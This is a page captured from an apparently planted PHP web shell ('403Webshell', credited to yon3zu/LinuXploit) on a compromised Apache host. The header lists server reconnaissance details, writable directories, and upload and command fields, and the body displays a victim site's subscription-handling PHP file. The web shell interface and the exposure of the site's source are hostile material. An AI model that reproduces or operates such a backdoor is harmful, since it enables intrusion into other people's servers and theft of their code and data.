403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/newusafunding.com/vx/usa/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/newusafunding.com/vx/usa/functions/subscribeSeminars.php
<?
include_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/xinc.php");
if(empty($user) || $guest)
{
	return false;
	exit;	
}
else
{
	$data = array();
	$errors = array();
	
	$subscriptionID = $_POST['subscription'];
	$subscriptionID = ($subscriptionID * 1);
	
	if($subscriptionID > 0)
	{
		$validSubscription = $db->query("
											SELECT 
													lcs.*,
													lc.*
											FROM $userDB.lc_clients_subscriptions AS lcs
											WHERE 
													lcs.reseller_id = $user
												AND 
													lcs.subscription_id = $subscriptionID
										");
		// TELE-SEMINARS ==========================================================	
			if(count($validSubscription) == 0)
			{
				$subscriptions = $db->query("
													SELECT 
															*
													FROM $userDB.lc_subscriptions
													WHERE 	
														subscription_id = $subscriptionID
												");
				if(count($subscriptions) == 1)
				{
					$amount = 34.95;
					$trial = 30;
					$terms = 4199999999;
					$termLength = 30;
					$db->query("
									INSERT INTO $userDB.lc_clients_subscriptions
									SET 
										reseller_id = $user,
										subscription_id = $subscriptionID,
										amount = '$amount',
										order_date = CURDATE(),
										order_datetime = NOW(),
										bill_time_of_day = 'morning',
										next_bill_date='".date('Y-m-d',strtotime('+30 day'))."',
										terms = '$terms',
										term_length = '$termLength',
										source = 'site order'
								");
					if($db->valid())
					{
						$data['result'] = "success";
					}
					$db->query("INSERT INTO surfcrm.notes
						(
							site_code
							,client_type
							,client_id
							,`date`
							,type
							,note
							,username
							,first_name
							,last_name
						) VALUES (
							'".clean($siteCode)."'
							,'clients'
							,'".clean($user)."'
							,NOW()
							,'upsell'
							,'The client signed themselves up for the upsell.'
							,'client'
							,'the'
							,'client'
						)");
				}
			}
			
		//-------------------------------------------------------------------
	}
	
	echo json_encode($data);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit